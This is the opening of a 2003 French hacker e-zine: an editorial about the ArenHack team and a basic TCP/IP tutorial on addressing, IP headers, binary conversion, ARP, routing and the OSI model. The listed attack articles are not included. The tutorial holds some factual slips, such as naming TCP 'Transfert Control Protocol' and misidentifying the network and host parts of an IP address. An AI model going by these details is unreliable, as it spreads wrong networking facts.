Entre l'ombre et l'absence de lumière git la lueur de l'illusion : ArenHack

------

------/~~~~~~~\
------ --=< |- -Edito -| >=--
------\~~~~~~~/

Nous sommes un matin de janvier 2003, il est 9h00. CL@D, JaCkEr et SpS6m3n (à l'époque ils ne savaient même pas qu'ils allaient s'appeler comme ça) rentre en cours d'histoire et comme d'habitude ils s'asseyent au fond de la classe, comme d'habitude le cours est barbant alors ils se mettent à parler de tout et de rien, ils refont le monde. Et puis SpS6m3n se met à parler de "Hacking", ils demandent aux deux autres s'ils en ont déjà entendu parler ; "Non, qu'est-ce que c'est?" alors il leur explique, ils sont très intéressés et l'écoute attentivement, il leur explique également qu'il voudrait faire un site et qu'il a besoin d'aide, "Oui mais nous on connait presque rien pour l'instant", "ce n'est pas important, avec le temps vous apprendrez...". Mais il faut trouver un nom pour le site alors ils sortent une feuille de papier et se commencent à écrire et à rayer : "ArenHack!" crie un des trois, un mot sonnant comment une révélation pour les 2 autres. La sonnerie retentit alors mais c'était décidé, un nom était trouvé, une équipe était née, l'aventure ArenHack allait commencé...

Aujourd'hui le temps a passé et ArenHack s'est fait un nom au sein du Hacking Français, il est devenu un site reconnu pour la qualité de son contenu et de sa forme, plusieurs apparitions dans différents magazines comme "Hacker Mag", "Zataz" (où il fut élu site du mois) et "theHackademy" (pour deux de nos membres) témoignent de sa popularité grandissante. Mais l'équipe d'ArenHack a encore beaucoup à prouver et à apprendre mais la volonté est là et c'est ce qui importe.

Et voilà nous y sommes enfin, le 1er opus du magazine de ArenHack Team : M.I.B (Multi-system and Internet Base) est sorti. Il pouura paraitre relativement court pour certains lecteurs, et il l'est indéniablement, néanmoins il est le fruit d'un travail sérieux et consciencieux. M.I.B Mag #1 est orienté Hacking et a pour thème principal : "Les bases". Cependant ne croyez pas trouver ici le manuel du parfait petit script-kiddie avec des titres d'article du genre : "Comment defacer une page web en 10 minutes", ce n'est pas notre but, ça ne l'a jamais été et ça ne le sera jamais. Je vais citer l'édito de "TDC Mag #1" dans lequel il est expliqué de la meilleure façon du monde ce qui nous anime tous : "[...]Non, ce n'est pas un simple délire d'adolescent à la fleur de l'âge en manque de gloire... mais bien plus! La soif de connaissance, de partage, d'intérêt! La solidarité![...]". Notre esprit est celui du partage de la connaissance, nous y mettons un point d'honneur pour que cette connaissance , qui est l'outil de l'intelligence, soit accecible à tous ; qu'elle ne devienne plus une question d'argent ou de milieu social de croyance ou d'idéologie, de façon d'être ou de ne pas être simplement... bref que cette connaissance ne soit plus réservé à une minorité qui se distinguerait par des avantages illusoires acquis injustement créant ainsi les barrières imaginaires qui empêchent le passage vers la raison à ceux qui n'ont pas eut cette chance. Notre objectif est de mettre tout le monde à un pied d'égalité pour que chacun ne se heurte sur le chemin de la connaissance qu'a la barrière de la façon de penser : "Pense ainsi et prend ce chemin où refuse de penser et retourne d'où tu viens...". L'intelligence est donc la seule arme à posséder et dont nous allons vous apprendre à vous servir, c'est notre but, vous apprendre à maîtriser vos rêves. Connectez vous à l'Arène et c'est parti...

 

_________________________________________________________________________________________________________

------

------/~~~~~~~~~~~\
---------=< |- Sommaire -| >=--
------\~~~~~~~~~~~/

I. "Prelude of TCP/IP Knowledge" (1ère partie)--by CL@D

II. "Wireless Network Introduction"--by TheTchesk

III. "Escape Shell for All"--by Nocte

IV. "PGP Introducing"--by JaCkEr

V. "SQL Injection : Black Hole Security"--by Skin

VI. "Include Vulnerability"--by Sps6m3n

 

_________________________________________________________________________________________________________

------/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\
---------=< |- Prelude of TCP/IP Knowledge (1ère partie) -| >=--
------\~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/

Sommaire :
===========

I. Qu'est-ce que TCP/IP ?

A - Définition

B - Réseaux et protocoles

C - Historique

II. Caractéristique de TCP/IP

A - Adressage

1) Introduction

2) Protocole Internet (IP)

3) Champs d'en-tête IP

4) Adressage IP

5) Convertion d'une adresse binaire de 32 bits au format décimal pointé

6) Protocole de résolution d'adresse (ARP)

7) RARP

B - Routage

C - Résolution d'adresses

D - Contrôle d'erreur et des flots de données

III. Le fonctionnement de TCP/IP

A - Système de protocoles TCP/IP

1) Introduction

2) Survol des couches

3) L'encapsulation

B - TCP/IP et le modèle OSI

C - Rapide récapitulatif (scénario de base de l'envoie d'une trame sur un réseau)

IV. Conclusion

 

= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =

 

I. Qu'est-ce que TCP/IP ?

A - Définition

TCP/IP signifie Transfert Control Protocol / Internet Protocol ; c'est un système -une suite de protocoles- pour l'exploitation des réseaux de communication.

B - Réseaux et protocoles

Un réseau est un ensemble d'ordinateurs ou de machines informatiques qui communiquent grâce à une technique commune de transmission.

Figure 1 : Structure d'un réseau local

Des données et des appels de données sont ainsi échangés entre les machines sur un câble dédié, ou plus simplement sur une ligne téléphonique. Dans le cas de la figure précédente, la machine A doit pouvoir envoyer un message ou une requête vers la machine B qui , à son tour, doit comprendre le message de la machine A afin de lui répondre.

Un ordinateur intéragit avec le monde extérieur en exécutant une ou plusieurs applications informatiques, en effectuant des tâches et en gérant des entrées-sorties. Lorsqu'il travaille en réseau, ses applications doivent dialoguer avec les applications d'autres machines du réseau grâce à une suite de protocoles -un ensemble de règles reconnues par toutes les machines du réseau pour effectuer sur celui-ci des opérations de transfert complexes-.

Les données transitent de l'application en cours sur la machine A vers l'application ayant émis la requête de la machine B via la carte réseau de la machine A, la liaison physique réseau et la carte réseau de la machine B :

Figure 2 : le rôle d'une suite de protocoles réseau

Les protocoles TCP/IP définissent les modalités de communication sur le réseau et, en particulier, le format des données ainsi que les éléments d'information à leur adjoindre pour que le destinataire puisse interpréter convenablement le message. TCP/IP et ses protocoles associés forment un système complet qui définit la manière de traiter, de transmettre et d'exploiter les informations transmises sur un réseau (qui fonctionne sous TCP/IP). Un système de protocoles liés les uns aux autres, comme TCP/IP, est appelé suite de protocoles.

La tâche consistant à traiter les transmissions TCP/IP est effectuée par un logiciel qui est une implémentation fournisseur de TCP/IP. Par exemple, "Microsoft TCP/IP" est un logiciel qui permet à Windows NT de traiter les données au format TCP/IP, et donc d'exploiter le réseau à la norme TCP/IP. Il faut bien faire la différence entre "Standard TCP/IP", qui est un ensemble de règles qui gèrent les communications sur réseau TCP/IP, et "Implémentation TCP/IP", qui est un logiciel effectuant les opérations qui permettent à une machine donnée de se connecter à un réseau TCP/IP. Le but des "Standard TCP/IP" est d'assurer la compatibilité entre toutes les implémentations TCP/IP, quels que soient les fournisseurs ou les implémentation. En gros le modèle TCP/IP n'offre aucun service, mais définit les services qui doivent être offerts. Les implémentations logicielles TCP/IP du fournisseur offrent ces services.

C - Historique

Les réseaux TCP/IP sont issus de la synthèse de deux développement commencés en 1970, et qui ont, depuis, révolutionné le monde de l'informatique :

_Internet

_Les réseaux locaux (LAN)

 

INTERNET

A la fin des années 60, les officiels du "Departement Of Defense" s'aperçoivent que les militaires possèdent une grande quantité de machines informatiques diverses, dont certaines travaillent isolément et d'autres en réseaux fermés de dimension modeste, dont les protocoles d'exploitation sont incompatible.

Les autorités militaires se sont alors demandé s'il était possible, pour ces machines aux profils très différents, de traiter des informations mises en commun. Habitués comme ils le sont aux problèmes de sécurité, les responsables de la Défense se sont immédiatement rendu compte qu'un réseau de grande ampleur deviendrait une cible idéal en cas de conflit. La caractéristique essentielle de ce réseau devait donc d'être un réseau "non -centralisé", il ne devait présenter aucun point physiquement vulnérables. C'est ainsi que les militaires ont mis au point un réseau baptisé ARPAnet, parce qu'il est issu de l' Advanced Research Projects Agency du DOD. Le système de protocoles permettant d'exploiter ce réseau interconnecté et décentralisé est à l'origine de ce qui existe aujourd'hui sous le nom de TCP/IP.

Les deux principes essentiels de TCP/IP sur lesquels repose cet environnement de caractère décentralisé sont les suivants :

_Vérification des noeuds terminaux : les deux ordinateurs en train d'échanger des informations (appelés noeuds terminaux parce qu'ils sont placés aux deux extrémités de la chaîne qui achemine le message) ont pour obligation d'accuser la réception de la transmission et d'en vérifier le contenu. Tous les ordinateurs fonctionnent de façon banalisée, car aucun site centralisé ne surveille les échanges.

_Routage dynamique : les noeuds du réseau peuvent être connectés par de multiples itinéraires, dont la configuration dépend des opportunités du moment.

 

LES LAN, RESEAU LOCAUX

Tandis qu'Internet se propage dans les universités, entreprises..., un autre concept prend forme, celui du réseau local, le Local Area Network (LAN).

Les protocoles LAN ne donnent pas tous accès à Internet et ce dernier devenant de plus en plus populaire, les utilisateurs de LAN désirent à leur tour accéder à ce réseau, ce qui fait apparaître une multitude de solutions pour raccorder les possesseurs de LAN. Des passerelles (routeur qui connecte un LAN à un grand réseau. Ce terme est utilisé parfois pour désigner un routeur qui effectue des conversions de protocoles), spécialisées leur offrent les convertions de protocoles indispensables pour accéder à Internet. Les versions récentes de Netware, de MacOS et de Windows ont continué d'accroître la prépondérance de TCP/IP dans les réseaux locaux. La popularité croissante des systèmes Unix, tels sue Linux, BSD, Solaris et Apple OS X, a également contribué à la prédominance de TCP/IP dans le monde des réseaux.

Figure 3 : connection d'un LAN à un grand réseau

II. Caractéristique de TCP/IP

A - Adressage

1) Introduction

Une carte réseau possède une adresse physique unique et permanente. L'adresse physique est un nombre attribué à cette carte lors de sa fabrication. Sur un réseau local, les protocoles de bas niveau, liés au matériel, acheminent des données sur le réseau en utilisant cette adresse physique. Il existe des réseaux de genres très divers et chacun achemine les données à sa façon. Dans le cas d'une liaison Ethernet (désigne une architecture de réseau local) standard, par exemple, l'ordinateur expédie ses messages directement sur la liaison. La carte réseau de chaque ordinateur examine la totalité du traffic sur le réseau local afin d'en extraire les messages qui concernent sa propre adresse physique.

Dans le cas des grands réseaux, il est évident que la carte réseau d'une machine ne peut examiner la totalité du trafic. En effet, étant donné le nombre croissant des machines connectés à Internet, le principe de l'adressage physique serait intenable. Ces grands réseaux sont pour la plupart subdiviser en sous-réseaux ou subnet (subdivision logique de l'espace d'adressage définie par un identificateur de réseau TCP/IP) pour leur permettre de maîtriser le trafic du réseau. Ces mêmes sous-réseaux sont hierarchisés de manière à ce qu'un message soit acheminé de façon optimale vers sa destination. TCP/IP offre cette possibilité de subdivision grâce à l'adressage logique. Cette adresse est élaborée par le logiciel de communication. Sous TCP/IP, l'adressage logique d'un ordinateur est une adresse IP (adresse logique permettant de localiser un ordinateur sur un réseau TCP/IP).

Une adresse physique ressemble à ça :

00-E0-98-07-8E-39

Ainsi TCP/IP masque l'adresse physique de la carte réseau et organise le réseau en un shéma d'adressage logique et hierarchique. Ce shéma d'adressage logique est géré par le protocole IP (Internet Protocole) de la couche Internet (j'expliquerai plus loin le foctionnement des différentes couches de TCP/IP). Un autre protocole de la couche Internet, appelé ARP (Address Resolution Protocole) maintient une certaine correspondance entre les adresses IP et les adresses physiques. Cette table ARP consttitue le lien entre l'adresse IP et l'adresse physique d'une interface réseau.

Afin d'envoyer des données sur un réseau routé ( c'est à dire où le trafic est réorienté grâce à un routeur), le logiciel TCP/IP utilise les stratégies suivantes :

1. Si l'adresse de destination est sur le même segment de réseau que la machine émettrice, celle-ci envoie le paquet de données (trame) directement à la destination. L'adresse IP est transformée en adresse physique grâce à ARP et les données sont redirigées vers l'interface réseau de destination.

2.Si l'adresse de destination est située sur un autre segment de réseau que celui de la machine émettrice, le processus suivant commence :

_Le datagramme est dirigé vers une passerelle. L'adresse de la passerelle est transformée en adresse physique à l'aide de ARP et les données sont envoyées à l'interface réseau de la passerelle.

_Le datagremme est routé, au travers de la passerelle, vers un segment de plus haut niveau où ce processus est répété. Si l'adresse de destination appartient au nouveau segment, les données sont transmises à la destination. Sinon le datagramme est retransmis à un autre routeur.

_Le datagramme traverse une chaîne de routeurs jusqu'au segment de destination sur lequel ARP établit une correspondance entre l'adresse IP de destination et l'adresse physique. Ainsi, les données sont retransmises à l'interface réseau de destination.

Figure 4 : la passerelle reçoit des datagrammes (paquets de données) destinés à d'autres réseaux

Afin de délivrer des données sur un réseau routé, les protocoles de la couche Internet doivent, par conséquent, être capables :

_d'identifier toute machine du réseau ;

_de déterminer si un message doit transiter par un routeur ;

_de fournir un moyen permettant de déterminer le segment réseau de destination ;

_de fournir un moyen permettant de convertir l'adresse IP logique de la machine de destinationen une adresse physique pour que les données soient délivrées à l'interface réseau de la machine de destination.

 

2) Protocole Internet (IP)

Le protocole IP permet un système d'adressage hierarchique, indépendant du matériel, et offre les services nécessaires à la délivrance de données au travers d'un réseau routé, il est responsable de l'élaboration des datagrames, de leur acheminement et de leur traitement à la réception. Chaque interface (carte) réseau d'un réseau TCP/IP dispose d'une adresse IP unique.

Les adresses IP d'un réseau sont organisées de telle façon que l'emplacement d'une machine soit défini par son adresse.

Une adresse IP est un nombre codé sur 32 bits ( 4 octets ) qui ressemble à ça :

190.154.28.15

 

Une adresse IP contient :
_ une partie désignant le réseau et le sous réseau : on parle d'ID réseau ---> ici : 154
_ une partie désignant vôtre machine sur ce réseau : on parle d'ID hôte ---> ici : 15

 

3) Champs d'en-tête IP

Chaque datagramme IP commence par un en-tête IP. C'est le logiciel TCP/IP de la machine émettrice qui construit l'en-tête IP. Le logiciel TCP/IP de la machine de destination utilise l'informmation codée dans l'en-tête IP afin de traiter ce datagramme.

La taille minimale d'un en-tête IP est de 20 octets :

Version
IHL
TOS
Longueur totale
Identification
Drapeau
Décalage de framents
Durée de vie
Protocole
Somme de contrôle de l'en-tête
Adresse IP source
Adresse IP de destination
Options IP (optionnel)
Bits de bourrage
Données
Champs réservé à d'autres possibles données

Les champs de l'en-tête IP sont :

_"Version" : ce champ de 4 bits indique la version IP. La version actuelle est la 4.

_"IHL" ou "Internet Hearder Lenght" : longueur de l'en-tête. Ce champ de 4 bits représente la longueur de l'en-tête IP en mots de 32 bits.

_"TOS" ou "Type Of Service" : type de service. Le but initial de ce champ de 8 bits est de prioriser le passage de datagrammes au travers d'un routeur. Il est souvent remplit par des 0.

_"Longueur total" : ce champs de 16 bits représente la longueur, en octet, du datagramme IP. Cette longueur inclut l'en-tête IP et les données utiles.

_"Identification" : ce champs de 16 bits est un numéro de séquence assigné aux messages émis par la source IP.

_"Drapeaux" : ce champs précise les possiblités de framentation. En effet lorsqu'un message est envoyé à la couche IP et qu'il est trop large pour être contenu dans un datagramme, IP le framente en plusieurs datagrammes en attribuant le même identificateur à chaque datagramme.

_"Décalage(offset ) de framents" : ce champs de 13 bits est une valeur numérique assignée à chaque frament sucessif. A la destination, IP utilise ce paramètre pour réassembler les framents dans l'ordre.

_"Durée de vie" ou "TTL"(=Time To Live) : ce champs de 8 bits indique la durée en secondes, ou le nombre de sauts de routeurs, pendant laquelle le datagramme peut survivre avant d'être rejeté.

_"Protocole" : ce champs de 8 bits indique quel est le protocole qui traitera les données utiles. Par exemple l'identificateur de protocole de TCP est 6.

_"Somme de contrôle de l'en-tête" : ce champs est un entier calculé de 16 bits permettant de vérifier la seule intégrité de l'en-tête.

_"Adresse IP source" : ce champs de 32 bits contient l'adresse de la source du datagramme.

_"Adresse IP de destination" : ce champs de 32 bits contient l'adresse de destination du datagramme et il est utilisé pour assurer la délivrance correcte à la machine destinatrice.

_"Options IP" : ce champs contient des paramètres optionnels de l'en-tête, destinés initialement aux tests, au débogage et à la sécurité.

_"Le bourrage" : ce champs de bourrage rajoute des 0 de telle façon que la longueur totale de l'en-tête soit un multiple de 32 bits.

_"Charge utile" : ce champs contient les données destinées à être transmises aux couches TCP, UDP, ICMP ou IGMP.

 

4) Adressage IP

Rappel : une adresse IP est un nombre de binaire de 32 bits. Cette adresse de 32 bits est sous-divisée en quatre segments de 8 bits appelée octet.

Une partie de l'adresse IP est utilisée pour l'identificateur de réseau et une autre pour l'identificateur de machine. La partie de l'adresse correspondant à l'identificateur de réseau varie en fonction de celle-ci. La plupart des adresses IP sont regroupées dans les classes suivantes :

 

Premier segment de l'adresse IP
Classe d'adresse
0 à 127
A
128 à 191
B
192 à 223
C

 

5) Convertion d'une adresse binaire de 32 bits au format décimal pointé

Une adresse IP au format binaire de 32 bits est très difficile à manipuler, il est donc indispensable de savoir l'a convertire au format décimal pointé.

Conversion format binaire au format décimal

Les nombres binaires (base 2) sont identiques aux nombres décimaux (base 10), si ce n'est qu'il s'agit de multiples de 2 au lieu de multiples de 10. La valeur d'un nombre décimal est la somme des valeurs de chaque rang. Par exemple, la valeur du nombre décimal 126.325 s'exprime sous la forme : (1*100.000) + (2*10.000) + (6*1000) + (3*100) + (2*10) + (5*1) = 126.325.
Pour déterminer l'équivalent décimal d'une valeur binaire, il faut ajouter les valeurs de chaque bit valant 1. N'oubliez pas que l'adresse IP est constitué de quatre octets qui doivent être convertis séparément au format décimal. Voici un exemple de conversion d'une adresse IP binaire sur 32 bits au format décimal pointé :

Convertissons l'adresse binaire -> 01011001000111011100110000011000

1ère étape -> Eclatons l'adresse en octet de 8 bits :
OCTET 1 : 01011001
OCTET 2 : 00011101
OCTET 3 : 11001100
OCTET 4 : 00011000

2ème étape -> Convertissons chaque octet en nombre décimal :
Prenez l'octet 1 et réécrivez le en partant du début et en écrivant de haut en bas puis multipliez chaque terme par le multiple de 2 qui lui correspond en partant toujours de 1 et cette fois en partant du bas por allez vers le haut :
0*128 = 0
1*64 = 64
0*32 = 0
1*16 = 16
1*8 = 8
0*4 = 0
0*2 = 0
1*1 = 1
On obtient ainsi pour le 1er octet : 1+0+0+8+16+0+64+0 = 89
Par la même méthode on obtient pour l'octet 2 : 1+4+8+16 = 29
---------------------------------------------3 : 4+8+64+128 = 204
---------------------------------------------4 : 8+16 = 24

3ème étape -> Ecrivons les valeurs décimales équivalentes de la gauche vers la droite, en les séparant par des points : l'adresse devient 89.29.204.24

 

Conversion d'un nombre décimal en un octet binaire

Si vous souhaitez convertir une adresse décimale pointée en une adresse binaire sur 32 bits, convertissez chaque segment de cette adresse en un octet binaire, convertissons le décimal 207 en un octet binaire :

1.Comparons le décimal 207 à 128. Si le nombre décimal est supérieur ou égal à 128, ôtons 128 et reportons un 1. Si le nombre décimal est inférieur à 128, soustrayons 0 et écrivons un 0.
207>128
207-128 = 79
Ecrivons 1 dans le bit de poids 128

La réponse est 1

2.Prenons le résultat de l'étape 1 (79 dans ce cas) et comparons-le au nombre 64. Si le nombre décimal es t supérieur ou égal à 64, ôtons 64 et reportons 1. Si le nombre décimal est inférieur à 64, ôtons 0 et reportons un 0.
79>64
79-64 = 15
Ecrivons 1 dans le bit de poids 64

La réponse est 11

3.Prenons le résultat de l'étape 2 (15 dans ce cas) et comparons-le au nombre 32. Si le nombre décimal est supérieur ou égal à 32, ôtons 32 et reportons un 1. Si le nombre décimal est inférieur à 32, ôtons 0 et reportons un 0.
15<32
15-0 = 15
Ecrivons 0 dans le bit de poids 32

La réponse est 110

4.Comparons le résultat de l'étape 3 au nombre 16. Si le nombre est supérieur à 16, ôtons 16 et reportons un 1. Si le nombre est inférieur à 16, ôtons 0 et reportons un 0.
15<16
15-0 = 15
Ecrivons 0 dans le bit de poids 16

La réponse est 1100

5.Comparons le résultat de l'étape 4 au nombre 8. Si le nombre décimal est supérieur ou égal à 8, ôtons 8 et reportons un 1. Si le nombre décimal est inférieur à 8, ôtons 0 et reportons un 0.
15>8
15-8 = 7
Ecrivons 1 dans le bit de poids 8

La réponse est 11001

6.Comparons le résultat de l'étape 5 au nombre 4. Si le nombre décimal est inférieur à 4, ôtons 0 et reportons un 1. Si le nombre décimal est inférieur à 4, ôtons 0 et reportons un 0.
7>4
7-4 = 3
Ecrivons 1 dans le bit de poids 4

La réponse est 110011

7.Comparons le résulat de l'étape 6 au nombre 2. Si le nombre décimal est supérieur à 2, ôtons 2 et reportons un 1. Si le nombre décimal est inférieur à 2, ôtons 0 et reportons un 0.__________________________________________________________________________________________________________ 3>2
3-2 = 1
Ecrivons 1 dans le bit de poids 2

La réponse est 1100111

8.Si le résultat de l'étape 8 est un 1, reportons un 1. Si le résultat de l'étape 8 est un 0, reportons 0.
1=1
Ecrivons 1 à la place des unités

La réponse finale est 11001111

Nous venons ainsi de convertir le nombre décimal 207 en son équivalent binaire 11001111.

Pour vous faciliter la tâche, voici un le code source d'un programme en C codé par NeoFox (de la team IOC) qui va convertir une adresse IP au format binaire :

 

Binary v.1 par Neo_Fox [IOC]

6) Protocole de résolution d'adresse (ARP)

Comme nous l'avons vu précedemment, les machines d'un réseau local utilisent un protocole de la couche Internet, appelé ARP (Adresse Resolution Protocole), pour faire correspondre les adresse IP aux adresse physiques. Afin de lui envoyer des données, une machine source doit connaitre l'adresse physique de la carte réseau de la machine de destination. C'est pour cela que ARP est un protocole très important.

Chaque machine du segment de réseau doit maintenir en mémoire une table appelée table ARP ou cache ARP. Le cache ARP associe les adresses IP d'autres machines du segment à leurs adresses physiques. Lorsqu'une machine a besoin d'envoyer des données à une autre machine du segment, elle vérifie le segment le cahe ARP afin de déterminer l'adresse physique du destinataire. Si l'adresse réceptrice des données n'est pas dans le cache ARP, la machine envoie un broadcast appelé trame de requête ARP.

La trame de requête ARP contient l'adresse IP non résolue. Elle contient également l'adresse IP et l'adresse physique de lam achine qui a envoyé la requête. Les autres machines du segment de réseau reçoivent la requête ARP et la machine dont l'adresse n'était pas résolue répond en retournant son adresse physique à celle qui a émis la requête. Cette nouvelle correpondance adresse IP-adresse physique est alors ajoutée au cache ARP de la machine ayant émis la requête.

 

7) RARP

RARP (Reverse ARP) fait le contraire de ARP. En effet ARP est utilisé lorsque l'adresse IP est connue, mais pas l'adresse physique. RARP est utilisé lorsque l'adresse physique est connue, mais pas l'adresse l'adressse IP.

 

Figure 5 : ARP établit une correspondance entre les adresses IP et les adresses physiques

 

B - Routage

Un routeur est un dispositif particulier qui lit les adresses logiques et oriente les données à transmettre sur le réseau vers leur destinataire.

Au niveau le plus bas, un routeur isole un sous-réseau local d'un grand réseau (voir Figure 3).

Les données adressées à une autre machine ou à un autre équipement du sous réseau local ne franchiront pas le routeur et n'encombreront pas les lignes de communication du grand réseau. Les données destinées à une machine extérieure au réseau local seront prises en charge par le routeur qui les expédiera à destination. Les très grands réseaux tel Internet comprennent de nombreux routeurs qui fournissent des voies d'acheminement multiples entre origine et destination.

Figure 6 : un réseau interconnecté au moyen de routeurs

 

C - Résolution d'adresses

Il peut-être difficile de se rappeler que l'adresse d'une machine est 113.102.114.163. TCP/IP offre parc consequent une structure d'adressage en langage de tous les jours qui gère des noms de domaines : DNS, (Domain Name Service, service de noms de domaines). La correspondance entre adresse physique IP et nom de domaine est appelé résolution de noms de domaines, ou plus simplement résolution d'adresses. Des machines dédiées, appelées serveur DNS, conservent les tables de correspondances entre nom de domaine et adresse IP.

Le service DNS de TCP/IP offre une hierarchie de serveurs d'adresses qui fournissent une correspondance entre nom de domaine et adresse physique IP pour les machines du réseau enregistrées par DNS. Ainsi l'utilisateur n'a pas à connaître ou à déchiffrer les adresses IP.

 

D - Contrôle d'erreur et des flots de données

La suite de protocole TCP/IP assure la fiabilité des données transmises sur réseau en contrôlant les erreurs de transmission éventuelles et en émettant des accusés de réception qui confirme le succès de l'opération. C'est la couche Transport de TCP/IP qui gère la plupart de ces contrôles, les flots de donnnées et les accusés de réception au sein du réseau interconnecté sous protocoles TCP. Des protocoles de plus bas niveau de la couche Accès réseau jouent aussi un rôle dans le processus global de contrôle d'erreur.

 

 

III. Le fonctionnement de TCP/IP

A - Système de protocoles TCP/IP

1) Introduction

Un système de protocoles de la dimension de TCP/IP doit assurer les fonctions suivantes :

.Fractionnement des messages en segments faciles à mettre sur la ligne de communication

.Interface avec la carte réseau

.Adressage : l'emetteur doit envoyer ses messages à la bonne adresse. Le récepteur doit savoir d'où viennent les messages qui le concernent

Routage : le système doit acheminer les données sur le sous-réseau auquel appartient le destinataire, même si ses caractéristiques physiques sont différentes de celles du réseau auquel appartient l'emetteur

.Contrôle d'erreur : contrôle des flots de données et acquittements. La fiabilité de la liaison impose que les partenaires soient capables d'identifier et de corriger les erreurs de transmission ainisi que de contrôler le flot de données

.Transfert de données d'une application au réseau

.Réception des données en provenance du réseau et transmission de celles-ci à l'application

 

Pour accomplir toutes ces fonctions, les créateurs de TCP/IP ont adopté une approche modulaire, c'est à dire que le système de protocoles TCP/IP se décompose en modules qui fonctionnent en toutes indépendance. Chaque module est chargé d'une tâche précise dans le fonctionnement du processus de communication.

Ceci permet aux fournisseurs tel que "Microsoft" d'adapter les logiciels du protocole aux machines et systèmes d'exploitation qu'ils proposent. Autrement dit ils n'ont pas à créer deux logiciels différents pour les réseaux TCP/IP en anneaux à jeton et pour les réseaux Ethernet TCP/IP par exemple(Je reviendrai plus loin sur les différentes formes des LAN). Dans ce cas précis seul la couche Accès réseau change et pas les couches supérieures (Internet...)

Depuis le début de cette introduction à TCP/IP je parle de couches, mais quelles sont-elles exactement ?

Et bien le système de protocole TCP/IP est organisé en couches dont chacune effectue des tâches spécifiques, il faut d'abord comprendre que le terme couche en informatique désigne les divers niveaux d'un protocole. Le modèle ci-dessous est appélé : modèle TCP/IP ou pile TCP/IP :

Figure 7 : les couches du modèle TCP/IP

 

2) Survol des couches

Les couches du modèle officiel de protocole TCP/IP ont des rôles multiples :

.Couche Accès Réseau :

Elle assure l'interface physique avec le réseau. Elle formate les données aux normes du réseau et élabore les adresses de sous-réseaux en tenant compte des adresses physiques des machines destinataires. Elle effectue les contrôles d'erreur au niveau des données mises sur le réseau physique.

 

.Couche Internet :

Elle fournit un adressage logique, indépendant du matériel, de façon à faire transiter des données sur des réseaux dont les architectures physiques sont très diverses. Cette couche met en place des routages qui tempèrent le trafic et permettent l'acheminement de messages vers des réseaux interconnectés (internetworks). Le terme réseaux interconnectés désigne un ensemble de réseaux locaux (LAN) connectés entre eux, comme on peut trouver dans les grandes sociétésou sur Internet. La couche Internet établit la correspondance entre adresse physique et adresse logique.

 

.Couche Transport :

Elle assure le contrôle des flots de données, les contrôles d'erreurs et les accusés de réception sur les réseaux interconnectés. Elle sert aussi d'interface pour les applications réseau.

 

.Couche Application :

Elle offre des applications pour le dépannage réseau, le transfert de fichiers et les besoins d'Internet. Elle supporte aussi les API réseau qui autorisent l'accès au réseau à des programmes écrits sous un système d'exploitation particulier.

 

3) L'encapsulation

Lorsque le système de protocoles TCP/IP traite un élément de donnée pour l'expédier sur le réseau, chaque couche de la machine expéditrice ajoute une couche d'information à cet élément à l'attention de la couche correspondante de la machine réceptrice. Par exemple , la couche Internet de l'ordinateur qui expédie des données ajoute un en-tête contenant de l'information, laquelle sera exploitée au niveau de la couche Internet de la machine réceptrice. Ce processus est appelé encapsulation. A l'extrémité réceptrice, ces en-têtes sont supprimés dès lors que les données traversent la pile de protocoles.

Il est important de mémoriser , en ce qui concerne la pile de protocoles TCP/IP, que chaque couche joue un rôle dans le processus de comunication, en offrant les services requis à son niveau. Lorsqu'une transmission est établie, elle descend l'empilement des couches du modèle, chacune des couches rajoute aux données un ensemble d'informations spécifiques appelé en-tête. L'entité qui se compose des données et d'un en-tête devient un ensemble de données qui est "repaqueté" par la couche immédiatement inférieure, avec adjonction d'un nouvel en-tête. L'opération inverse est effectués lors de l'arrivée du message sur la machine réceptrice. Chaque couche analyse et reconstitue ce qu'elle reçoit jusqu'à restitution à l'état originel des informations qui ont été expédiées. C'est un peu le principe de la poupée russe.

A destination, la couche Internet exploite l'en-tête qui la concerne puis l'élimine, la couche Transport fait de même, et ainsi de suite. Une fois le dernier niveau franchi, seule subsiste l'information dans son état originel.

Figure 8 : chaque couche ajoute son en-tête aux données

Le paquetage des données change donc radicalement d'aspect à chaque traversée de couche, d'où des changements de noms... Voici la liste de ces applications, suivant les couches traversées :

_Au niveau de la couche Application, on parle de message.

_Dans la couche Transport, le message est encapsulé sous la forme d'un segment s'il s'agit de données transmises sous protocole TCP, d'un datagramme si l'on est sous protocole UDP.

_La couche Internet encapsule les segments de la couche Transport sous forme de datagrammes.

_L'encapsulation, et parfois la framentation, des datagrammes au niveau de la couche Accès réseau produit des trames. Une trame devient un train de bit dans la sous-couche de plus bas-niveau de la couche Accès réseau.

 

B - TCP/IP et le modèle OSI

Le marché des réseaux utilise un modèle standard à sept couches appelé modèle OSI ( Open Systems Interconnections) qui est apparue alors que le développement de TCP/IP était en cours et qui a fortement influencé le développement des implémentations de protocoles. Le modèle OSI est composé de 7 couches semblables à TCP/IP dans le sens où ce modèle répartit les tâches de la couche Application en trois couches (sous-couches) : Application, Présentation et Session. De plus OSI coupe la couche Accès Réseau de TCP/IP en deux couches : la couche Liaison Données et la couche Physique. Cette organisation complique un peu les chose mais les développeurs y gagnent en facilité d'adaptation de chacune de ces couches à leurs besoins spécifiques.

Figure 9 : le modèle à 7 couches d'OSI

 

Les septs couches du modèle OSI ont les rôles suivants :

.Couche physique : elle convertit les données en signaux numériques propres à transiter sur le moyen de communication et gère leur transmission.

.Couche Liaison Données : elle assure l'interface avec la carte réseau, entretient les liens logiques sur le sous-réseau.

.Couche Réseau : elle gère l'adressage logique et le routage.

.Couche Transport : elle contrôle le flot des données et gère les erreurs.

.Couche Session : elle ouvre les sessions reliant les applications qui tournent sur les machines interconnectées.

.Couche Présentation : elle met les données au format standard, gère le cryptage et la compression.

.Couche Applicartion : elle assure l'interface entre les applications, gère les transferts de fichiers, les communications,etc.

 

C - Rapide récapitulatif (scénario de base de l'envoie d'une trame sur un réseau)

1. Les données passent d'une application TCP/IP issue d'une interface API via le port TCP ou UDP vers l'un ou l'autre des protocoles Transport TCP ou UDP.

2. Le segment de données passe dans la couche Internet, où le protocole IP ajoute un datagramme avec des informations d'adressage diverses.

3. Le datagramme IP entre dans la couche Accès réseau pour y être traité par les logiciels d'interface avec le réseau physique. ARP (Adress Resolution Protocol) traduit les adresses IP en adresse physique, tandis que RARP (Reverse Address Resolution Protocol) fait l'inverse.

